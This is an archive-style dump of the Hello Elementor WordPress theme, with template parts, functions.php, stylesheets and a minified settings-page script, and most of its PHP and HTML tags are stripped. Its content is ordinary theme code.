{ return sprintf( '

%1$s

%2$s

%3$s
', esc_html__( 'Create a custom footer with multiple options', 'hello-elementor' ), esc_html__( 'Upgrade to Elementor Pro and enjoy free design and many more features', 'hello-elementor' ), esc_html__( 'Upgrade', 'hello-elementor' ), get_template_directory_uri() . '/assets/images/go-pro.svg' ); } else { return sprintf( '

%1$s

%2$s

%3$s
', esc_html__( 'Create a custom footer with the new Theme Builder', 'hello-elementor' ), esc_html__( 'With the new Theme Builder you can jump directly into each part of your site', 'hello-elementor' ), esc_html__( 'Create Footer', 'hello-elementor' ), get_template_directory_uri() . '/assets/images/go-pro.svg', get_admin_url( null, 'admin.php?page=elementor-app#/site-editor/templates/footer' ) ); } } } template-parts/footer.php000064400000001131152377523360011526 0ustar00 'menu-2', 'fallback_cb' => false, 'echo' => false, ] ); ?> template-parts/404.php000064400000001143152377523360010542 0ustar00

template-parts/single.php000064400000001452152377523360011517 0ustar00
>
'menu-1', 'fallback_cb' => false, 'echo' => false, ] ); ?> template-parts/dynamic-header.php000064400000005343152377523360013113 0ustar00 'menu-1', 'fallback_cb' => false, 'echo' => false, ] ); ?> template-parts/archive.php000064400000002755152377523360011666 0ustar00
%s', 'entry-title', esc_url( $post_link ), wp_kses_post( get_the_title() ) ); if ( has_post_thumbnail() ) { printf( '%s', esc_url( $post_link ), get_the_post_thumbnail( $post, 'large' ) ); } the_excerpt(); ?>
max_num_pages > 1 ) : ?>
template-parts/dynamic-footer.php000064400000004606152377523360013162 0ustar00 'menu-2', 'fallback_cb' => false, 'echo' => false, ] ); ?> template-parts/search.php000064400000003315152377523360011503 0ustar00
%s', 'entry-title', esc_url( $post_link ), wp_kses_post( get_the_title() ) ); if ( has_post_thumbnail() ) { printf( '%s', esc_url( $post_link ), get_the_post_thumbnail( $post, 'large' ) ); } the_excerpt(); ?>

max_num_pages > 1 ) : ?>
index.php000064400000001750152377523360006404 0ustar00 ul { display: block; } .site-navigation ul.menu li ul { background: #fff; display: none; min-width: 150px; position: absolute; z-index: 2; left: 0; top: 100%; } .site-navigation ul.menu li ul li { border-block-end: #eeeeee 1px solid; } .site-navigation ul.menu li ul li:last-child { border-block-end: none; } .site-navigation ul.menu li ul li.menu-item-has-children a { flex-grow: 1; } .site-navigation ul.menu li ul li.menu-item-has-children:after { transform: translateY(-50%) rotate(-90deg); } .site-navigation ul.menu li ul ul { left: 100%; top: 0; } .site-navigation ul.menu li:hover > ul { display: block; } footer .site-navigation ul.menu li ul { top: auto; bottom: 100%; } footer .site-navigation ul.menu li ul ul { bottom: 0; } footer .site-navigation ul.menu a { padding: 5px 15px; } .site-navigation-dropdown { margin-block-start: 10px; transition: max-height 0.3s, transform 0.3s; transform-origin: top; position: absolute; bottom: 0; left: 0; z-index: 10000; width: 100%; } .site-navigation-toggle-holder:not(.elementor-active) + .site-navigation-dropdown { transform: scaleY(0); max-height: 0; } .site-navigation-toggle-holder.elementor-active + .site-navigation-dropdown { transform: scaleY(1); max-height: 100vh; } .site-navigation-dropdown ul { padding: 0; } .site-navigation-dropdown ul.menu { position: absolute; width: 100%; padding: 0; margin: 0; background: white; } .site-navigation-dropdown ul.menu li { display: block; width: 100%; position: relative; } .site-navigation-dropdown ul.menu li a { display: block; padding: 20px; background: #ffffff; color: #55595c; box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1019607843); } .site-navigation-dropdown ul.menu li.current-menu-item a { color: white; background: #55595c; } .site-navigation-dropdown ul.menu > li li { transition: max-height 0.3s, transform 0.3s; transform-origin: top; transform: scaleY(0); max-height: 0; } .site-navigation-dropdown ul.menu li.elementor-active > ul > li { transform: scaleY(1); max-height: 100vh; } @media (max-width: 576px) { .site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation { display: none !important; } } @media (min-width: 768px) { .site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation-toggle-holder { display: none !important; } } @media (min-width: 576px) and (max-width: 767px) { .site-header.menu-dropdown-mobile:not(.menu-layout-dropdown) .site-navigation { display: none !important; } } @media (min-width: 992px) { .site-header.menu-dropdown-tablet:not(.menu-layout-dropdown) .site-navigation-toggle-holder { display: none !important; } } @media (max-width: 992px) { .site-header.menu-dropdown-tablet:not(.menu-layout-dropdown) .site-navigation { display: none !important; } } .site-header.menu-dropdown-none:not(.menu-layout-dropdown) .site-navigation-toggle-holder { display: none !important; } /** * Responsive layouts */ .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { margin-inline-start: auto; margin-inline-end: auto; width: 100%; } @media (max-width: 575px) { .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { padding-inline-start: 10px; padding-inline-end: 10px; } } @media (min-width: 576px) { .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { max-width: 500px; } .site-header.header-full-width .header-inner { max-width: 100%; } .site-footer.footer-full-width .footer-inner { max-width: 100%; } } @media (min-width: 768px) { .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { max-width: 600px; } .site-header.header-full-width { max-width: 100%; } .site-footer.footer-full-width { max-width: 100%; } } @media (min-width: 992px) { .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { max-width: 800px; } .site-header.header-full-width { max-width: 100%; } .site-footer.footer-full-width { max-width: 100%; } } @media (min-width: 1200px) { .site-header .header-inner, .site-header:not(.dynamic-header), .site-footer .footer-inner, .site-footer:not(.dynamic-footer), body:not([class*=elementor-page-]) .site-main, .page-header .entry-title { max-width: 1140px; } .site-header.header-full-width { max-width: 100%; } .site-footer.footer-full-width { max-width: 100%; } } .site-header + .elementor { min-height: calc(100vh - 320px); }classic-editor.css000064400000001364152377523360010204 0ustar00/** * Classic editor styling */ /** * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. * Loading first in the style.scss & classic-editor.scss */ p { margin-block-end: 0.75rem; } img { max-width: 100%; height: auto; vertical-align: middle; border-style: none; } pre { font-family: monospace; font-size: 1em; white-space: pre-wrap; } code, kbd, pre, samp { font-size: 1rem; } code, kbd, pre, samp { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 1rem; } blockquote { font-style: italic; }functions.php.bak.1786730367000064400000014047152377523360011142 0ustar00 esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); /* * Editor Style. */ add_editor_style( 'classic-editor.css' ); /* * Gutenberg wide images. */ add_theme_support( 'align-wide' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) { return; } if ( ! is_singular() ) { return; } $post = get_queried_object(); if ( empty( $post->post_excerpt ) ) { return; } echo '' . "\n"; } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); // Admin notice if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } // Settings page require get_template_directory() . '/includes/settings-functions.php'; // Allow active/inactive via the Experiments require get_template_directory() . '/includes/elementor-functions.php'; if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check whether to display the page title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } } style.css000064400000030376152377523360006444 0ustar00/* Theme Name: Hello Elementor Theme URI: https://elementor.com/hello-theme/?utm_source=wp-themes&utm_campaign=theme-uri&utm_medium=wp-dash Description: Hello Elementor is a lightweight and minimalist WordPress theme that was built specifically to work seamlessly with the Elementor page builder plugin. The theme is free, open-source, and designed for users who want a flexible, easy-to-use, and customizable website. The theme, which is optimized for performance, provides a solid foundation for users to build their own unique designs using the Elementor drag-and-drop site builder. Its simplicity and flexibility make it a great choice for both beginners and experienced Web Creators. Author: Elementor Team Author URI: https://elementor.com/?utm_source=wp-themes&utm_campaign=author-uri&utm_medium=wp-dash Version: 2.9.0 Stable tag: 2.9.0 Requires at least: 6.0 Tested up to: 6.3 Requires PHP: 7.0 License: GNU General Public License v3 or later. License URI: https://www.gnu.org/licenses/gpl-3.0.html Text Domain: hello-elementor Tags: accessibility-ready, flexible-header, custom-colors, custom-menu, custom-logo, featured-images, rtl-language-support, threaded-comments, translation-ready, */ /** * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. * Loading first in the style.scss & classic-editor.scss */ /* * Inspired by Normalize.css, HTML5 Boilerplate & Bootstrap Reboot Projects under MIT License */ /** * Document basic styling * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. */ /** * 1. Correct the line height in all browsers. * 2. Prevent adjustments of font size after orientation changes in iOS. * 3. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`. */ html { line-height: 1.15; /* 1 */ -webkit-text-size-adjust: 100%; /* 2 */ } *, *::before, *::after { box-sizing: border-box; /* 3 */ } /* Sections */ body { margin: 0; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; font-size: 1rem; font-weight: 400; line-height: 1.5; color: #333333; background-color: #fff; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /** * Correct the font size and margin on `h1` elements within `section` and * `article` contexts in Chrome, Firefox, and Safari. */ h1, h2, h3, h4, h5, h6 { margin-block-start: 0.5rem; margin-block-end: 1rem; font-family: inherit; font-weight: 500; line-height: 1.2; color: inherit; } h1 { font-size: 2.5rem; } h2 { font-size: 2rem; } h3 { font-size: 1.75rem; } h4 { font-size: 1.5rem; } h5 { font-size: 1.25rem; } h6 { font-size: 1rem; } p { margin-block-start: 0; margin-block-end: 0.9rem; } /* Grouping content */ /** * 1. Add the correct box sizing in Firefox. * 2. Show the overflow in Edge and IE. */ hr { box-sizing: content-box; /* 1 */ height: 0; /* 1 */ overflow: visible; /* 2 */ } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ pre { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ white-space: pre-wrap; } /* Text-level semantics */ a { background-color: transparent; text-decoration: none; color: #CC3366; } a:hover, a:active { color: #333366; } a:not([href]):not([tabindex]) { color: inherit; text-decoration: none; } a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus { color: inherit; text-decoration: none; } a:not([href]):not([tabindex]):focus { outline: 0; } /** * 1. Remove the bottom border in Chrome 57- * 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari. */ abbr[title] { border-block-end: none; /* 1 */ text-decoration: underline dotted; /* 2 */ } /** * Add the correct font weight in Chrome, Edge, and Safari. */ b, strong { font-weight: bolder; } /** * 1. Correct the inheritance and scaling of font size in all browsers. * 2. Correct the odd `em` font sizing in all browsers. */ code, kbd, samp { font-family: monospace, monospace; /* 1 */ font-size: 1em; /* 2 */ } /** * Add the correct font size in all browsers. */ small { font-size: 80%; } /** * Prevent `sub` and `sup` elements from affecting the line height in * all browsers. */ sub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; } sub { bottom: -0.25em; } sup { top: -0.5em; } /* Embedded content */ /** * Remove the border on images inside links in IE 10. */ img { border-style: none; height: auto; max-width: 100%; } /* Interactive */ /* * Add the correct display in Edge, IE 10+, and Firefox. */ details { display: block; } /* * Add the correct display in all browsers. */ summary { display: list-item; } figcaption { font-size: 16px; color: #333333; line-height: 1.4; font-style: italic; font-weight: 400; } /* Misc */ /** * Add the correct display in IE 10+. */ template { display: none; } /** * Add the correct display in IE 10. */ [hidden] { display: none; } /* Print */ @media print { *, *:before, *:after { background: transparent !important; color: #000 !important; /* Black prints faster */ -webkit-box-shadow: none !important; box-shadow: none !important; text-shadow: none !important; } a, a:visited { text-decoration: underline; } a[href]:after { content: " (" attr(href) ")"; } abbr[title]:after { content: " (" attr(title) ")"; } a[href^="#"]:after, a[href^="javascript:"]:after { content: ""; } pre { white-space: pre-wrap !important; } pre, blockquote { break-inside: avoid; border: 1px solid #cccccc; } thead { display: table-header-group; } tr, img { break-inside: avoid; } p, h2, h3 { orphans: 3; widows: 3; } h2, h3 { break-after: avoid; } } /** * Form styling * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. */ label { display: inline-block; line-height: 1; vertical-align: middle; } /** * 1. Change the font styles in all browsers. * 2. Remove the margin in Firefox and Safari. */ button, input, optgroup, select, textarea { font-family: inherit; /* 1 */ font-size: 1rem; /* 1 */ line-height: 1.5; /* 1 */ margin: 0; /* 2 */ } input[type=text], input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=url], select, textarea { width: 100%; border: solid 1px #666666; border-radius: 3px; padding: 0.5rem 1rem; transition: all 0.3s; } input[type=text]:focus, input[type=date]:focus, input[type=email]:focus, input[type=number]:focus, input[type=password]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=url]:focus, select:focus, textarea:focus { border-color: #333333; } /** * Show the overflow in IE. * 1. Show the overflow in Edge. */ button, input { /* 1 */ overflow: visible; } /** * Remove the inheritance of text transform in Edge, Firefox, and IE. * 1. Remove the inheritance of text transform in Firefox. */ button, select { /* 1 */ text-transform: none; } /** * Correct the inability to style clickable types in iOS and Safari. */ button, [type=button], [type=reset], [type=submit] { width: auto; -webkit-appearance: button; } /** * Remove the inner border and padding in Firefox. */ button::-moz-focus-inner, [type=button]::-moz-focus-inner, [type=reset]::-moz-focus-inner, [type=submit]::-moz-focus-inner { border-style: none; padding: 0; } /** * Restore the focus styles unset by the previous rule. */ button:-moz-focusring, [type=button]:-moz-focusring, [type=reset]:-moz-focusring, [type=submit]:-moz-focusring { outline: 1px dotted ButtonText; } button, [type=submit], [type=button] { display: inline-block; font-weight: 400; color: #CC3366; text-align: center; white-space: nowrap; user-select: none; background-color: transparent; border: 1px solid #CC3366; padding: 0.5rem 1rem; font-size: 1rem; border-radius: 3px; transition: all 0.3s; } button:focus, [type=submit]:focus, [type=button]:focus { outline: 5px auto -webkit-focus-ring-color; } button:hover, button:focus, [type=submit]:hover, [type=submit]:focus, [type=button]:hover, [type=button]:focus { color: #ffffff; background-color: #CC3366; text-decoration: none; } button:not(:disabled), [type=submit]:not(:disabled), [type=button]:not(:disabled) { cursor: pointer; } /** * Correct the padding in Firefox. */ fieldset { padding: 0.35em 0.75em 0.625em; } /** * 1. Correct the text wrapping in Edge and IE. * 2. Correct the color inheritance from `fieldset` elements in IE. * 3. Remove the padding so developers are not caught out when they zero out * `fieldset` elements in all browsers. */ legend { box-sizing: border-box; /* 1 */ color: inherit; /* 2 */ display: table; /* 1 */ max-width: 100%; /* 1 */ padding: 0; /* 3 */ white-space: normal; /* 1 */ } /** * Add the correct vertical alignment in Chrome, Firefox, and Opera. */ progress { vertical-align: baseline; } /** * Remove the default vertical scrollbar in IE 10+. */ textarea { overflow: auto; resize: vertical; } /** * 1. Add the correct box sizing in IE 10. * 2. Remove the padding in IE 10. */ [type=checkbox], [type=radio] { box-sizing: border-box; /* 1 */ padding: 0; /* 2 */ } /** * Correct the cursor style of increment and decrement buttons in Chrome. */ [type=number]::-webkit-inner-spin-button, [type=number]::-webkit-outer-spin-button { height: auto; } /** * 1. Correct the odd appearance in Chrome and Safari. * 2. Correct the outline style in Safari. */ [type=search] { -webkit-appearance: textfield; /* 1 */ outline-offset: -2px; /* 2 */ } /** * Remove the inner padding in Chrome and Safari on macOS. */ [type=search]::-webkit-search-decoration { -webkit-appearance: none; } /** * 1. Correct the inability to style clickable types in iOS and Safari. * 2. Change font properties to `inherit` in Safari. */ ::-webkit-file-upload-button { -webkit-appearance: button; /* 1 */ font: inherit; /* 2 */ } select { display: block; } /** * Table styling * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. */ table { background-color: transparent; width: 100%; margin-block-end: 15px; font-size: 0.9em; border-spacing: 0; border-collapse: collapse; } table th, table td { padding: 15px; line-height: 1.5; vertical-align: top; border: 1px solid rgba(128, 128, 128, 0.5019607843); } table th { font-weight: bold; } table thead th, table tfoot th { font-size: 1em; } table caption + thead tr:first-child th, table caption + thead tr:first-child td, table caption + thead tr:first-child th, table caption + thead tr:first-child td, table colgroup + thead tr:first-child th, table colgroup + thead tr:first-child td, table colgroup + thead tr:first-child th, table colgroup + thead tr:first-child td, table thead:first-child tr:first-child th, table thead:first-child tr:first-child td, table thead:first-child tr:first-child th, table thead:first-child tr:first-child td { border-block-start: 1px solid rgba(128, 128, 128, 0.5019607843); } table tbody > tr:nth-child(odd) > td, table tbody > tr:nth-child(odd) > th { background-color: rgba(128, 128, 128, 0.0705882353); } table tbody tr:hover > td, table tbody tr:hover > th { background-color: rgba(128, 128, 128, 0.1019607843); } table tbody + tbody { border-block-start: 2px solid rgba(128, 128, 128, 0.5019607843); } @media (max-width: 767px) { table table { font-size: 0.8em; } table table th, table table td { padding: 7px; line-height: 1.3; } table table th { font-weight: 400; } } /** * List styling * DO NOT CHANGE THIS FILE! * To override any of the settings in this section, add your styling code in the custom directory. */ dl, dt, dd, ol, ul, li { margin-block-start: 0; margin-block-end: 0; border: 0; outline: 0; font-size: 100%; vertical-align: baseline; background: transparent; }footer.php000064400000001056152377523360006572 0ustar00 style.min.css000064400000013174152377523360007223 0ustar00html{line-height:1.15;-webkit-text-size-adjust:100%}*,:after,:before{box-sizing:border-box}body{margin:0;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;font-size:1rem;font-weight:400;line-height:1.5;color:#333;background-color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}h1,h2,h3,h4,h5,h6{margin-block-start:.5rem;margin-block-end:1rem;font-family:inherit;font-weight:500;line-height:1.2;color:inherit}h1{font-size:2.5rem}h2{font-size:2rem}h3{font-size:1.75rem}h4{font-size:1.5rem}h5{font-size:1.25rem}h6{font-size:1rem}p{margin-block-start:0;margin-block-end:.9rem}hr{box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace,monospace;font-size:1em;white-space:pre-wrap}a{background-color:transparent;text-decoration:none;color:#c36}a:active,a:hover{color:#336}a:not([href]):not([tabindex]),a:not([href]):not([tabindex]):focus,a:not([href]):not([tabindex]):hover{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}abbr[title]{border-block-end:none;-webkit-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace,monospace;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none;height:auto;max-width:100%}details{display:block}summary{display:list-item}figcaption{font-size:16px;color:#333;line-height:1.4;font-style:italic;font-weight:400}[hidden],template{display:none}@media print{*,:after,:before{background:transparent!important;color:#000!important;box-shadow:none!important;text-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="#"]:after,a[href^="javascript:"]:after{content:""}pre{white-space:pre-wrap!important}blockquote,pre{-moz-column-break-inside:avoid;break-inside:avoid;border:1px solid #ccc}thead{display:table-header-group}img,tr{-moz-column-break-inside:avoid;break-inside:avoid}h2,h3,p{orphans:3;widows:3}h2,h3{-moz-column-break-after:avoid;break-after:avoid}}label{display:inline-block;line-height:1;vertical-align:middle}button,input,optgroup,select,textarea{font-family:inherit;font-size:1rem;line-height:1.5;margin:0}input[type=date],input[type=email],input[type=number],input[type=password],input[type=search],input[type=tel],input[type=text],input[type=url],select,textarea{width:100%;border:1px solid #666;border-radius:3px;padding:.5rem 1rem;transition:all .3s}input[type=date]:focus,input[type=email]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=url]:focus,select:focus,textarea:focus{border-color:#333}button,input{overflow:visible}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{width:auto;-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:1px dotted ButtonText}[type=button],[type=submit],button{display:inline-block;font-weight:400;color:#c36;text-align:center;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;user-select:none;background-color:transparent;border:1px solid #c36;padding:.5rem 1rem;font-size:1rem;border-radius:3px;transition:all .3s}[type=button]:focus,[type=submit]:focus,button:focus{outline:5px auto -webkit-focus-ring-color}[type=button]:focus,[type=button]:hover,[type=submit]:focus,[type=submit]:hover,button:focus,button:hover{color:#fff;background-color:#c36;text-decoration:none}[type=button]:not(:disabled),[type=submit]:not(:disabled),button:not(:disabled){cursor:pointer}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto;resize:vertical}[type=checkbox],[type=radio]{box-sizing:border-box;padding:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}[type=search]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}select{display:block}table{background-color:transparent;width:100%;margin-block-end:15px;font-size:.9em;border-spacing:0;border-collapse:collapse}table td,table th{padding:15px;line-height:1.5;vertical-align:top;border:1px solid hsla(0,0%,50.2%,.5019607843)}table th{font-weight:700}table tfoot th,table thead th{font-size:1em}table caption+thead tr:first-child td,table caption+thead tr:first-child th,table colgroup+thead tr:first-child td,table colgroup+thead tr:first-child th,table thead:first-child tr:first-child td,table thead:first-child tr:first-child th{border-block-start:1px solid hsla(0,0%,50.2%,.5019607843)}table tbody>tr:nth-child(odd)>td,table tbody>tr:nth-child(odd)>th{background-color:hsla(0,0%,50.2%,.0705882353)}table tbody tr:hover>td,table tbody tr:hover>th{background-color:hsla(0,0%,50.2%,.1019607843)}table tbody+tbody{border-block-start:2px solid hsla(0,0%,50.2%,.5019607843)}@media (max-width:767px){table table{font-size:.8em}table table td,table table th{padding:7px;line-height:1.3}table table th{font-weight:400}}dd,dl,dt,li,ol,ul{margin-block-start:0;margin-block-end:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent}comments.php000064400000003143152377523360007120 0ustar00

    'ol', 'short_ping' => true, 'avatar_size' => 42, ] ); ?>
'

', 'title_reply_after' => '

', ] ); ?>
wp-config.php000064400000002061152377523360007162 0ustar00 section, opens the tag and adds the site's header. * * @package HelloElementor */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } $viewport_content = apply_filters( 'hello_elementor_viewport_content', 'width=device-width, initial-scale=1' ); $enable_skip_link = apply_filters( 'hello_elementor_enable_skip_link', true ); $skip_link_url = apply_filters( 'hello_elementor_skip_link_url', '#content' ); ?> > > {var e={160:(e,t,l)=>{"use strict";var n=l(836);Object.defineProperty(t,"__esModule",{value:!0}),t.SettingsPage=void 0;var a=l(196),o=l(961),s=l(818),r=l(736),c=n(l(101)),i=l(609),_=l(730);const Notices=()=>{const e=(0,s.useSelect)((e=>e(o.store).getNotices().filter((e=>"snackbar"===e.type))),[]),{removeNotice:t}=(0,s.useDispatch)(o.store);return React.createElement(i.SnackbarList,{className:"edit-site-notices",notices:e,onRemove:t})},m={DESCRIPTION_META_TAG:"_description_meta_tag",SKIP_LINK:"_skip_link",PAGE_TITLE:"_page_title",HELLO_STYLE:"_hello_style",HELLO_THEME:"_hello_theme"};t.SettingsPage=()=>{const[e,t]=(0,a.useState)(!1),[l,n]=(0,a.useState)({}),o="hello_elementor_settings";return(0,a.useEffect)((()=>{e||(async()=>{try{await c.default.loadPromise;const e=new c.default.models.Settings,l=await e.fetch(),a={};Object.values(m).forEach((e=>a[e]=l[`${o}${e}`])),n(a),t(!0)}catch(e){console.error(e)}})()}),[l]),e?React.createElement(a.Fragment,null,React.createElement("div",{className:"hello_elementor__header"},React.createElement("div",{className:"hello_elementor__container"},React.createElement("div",{className:"hello_elementor__title"},React.createElement("h1",null,(0,r.__)("Hello Theme Settings","hello-elementor"))))),React.createElement("div",{className:"hello_elementor__main"},React.createElement(i.Panel,null,React.createElement(_.SettingsPanel,{SETTINGS:m,settingsData:l,updateSettings:(e,t)=>{n({...l,[e]:t})}}),React.createElement(i.Button,{isPrimary:!0,onClick:()=>{const e={};Object.values(m).forEach((t=>e[`${o}${t}`]=l[t]?"true":""));new c.default.models.Settings(e).save(),(0,s.dispatch)("core/notices").createNotice("success",(0,r.__)("Settings Saved","hello-elementor"),{type:"snackbar",isDismissible:!0})}},(0,r.__)("Save Settings","hello-elementor")))),React.createElement("div",{className:"hello_elementor__notices"},React.createElement(Notices,null))):React.createElement(i.Placeholder,null,React.createElement(i.Spinner,null))}},730:(e,t,l)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.SettingsPanel=void 0;var n=l(736),a=l(609);t.SettingsPanel=({SETTINGS:e,settingsData:t,updateSettings:l})=>{const o=(window.location.protocol||"https:")+"//"+(window.location.hostname||"example.com");return React.createElement(a.PanelBody,{title:(0,n.__)("Hello Theme Settings","hello-elementor")},React.createElement(a.Notice,{status:"warning",isDismissible:"false"},React.createElement(a.Dashicon,{icon:"flag"}),(0,n.__)("Be cautious, disabling some of the following options may break your website.","hello-elementor")),React.createElement(a.ToggleControl,{label:(0,n.__)("Disable description meta tag","hello-elementor"),help:(0,n.__)("Remove the description meta tag in singular content pages that 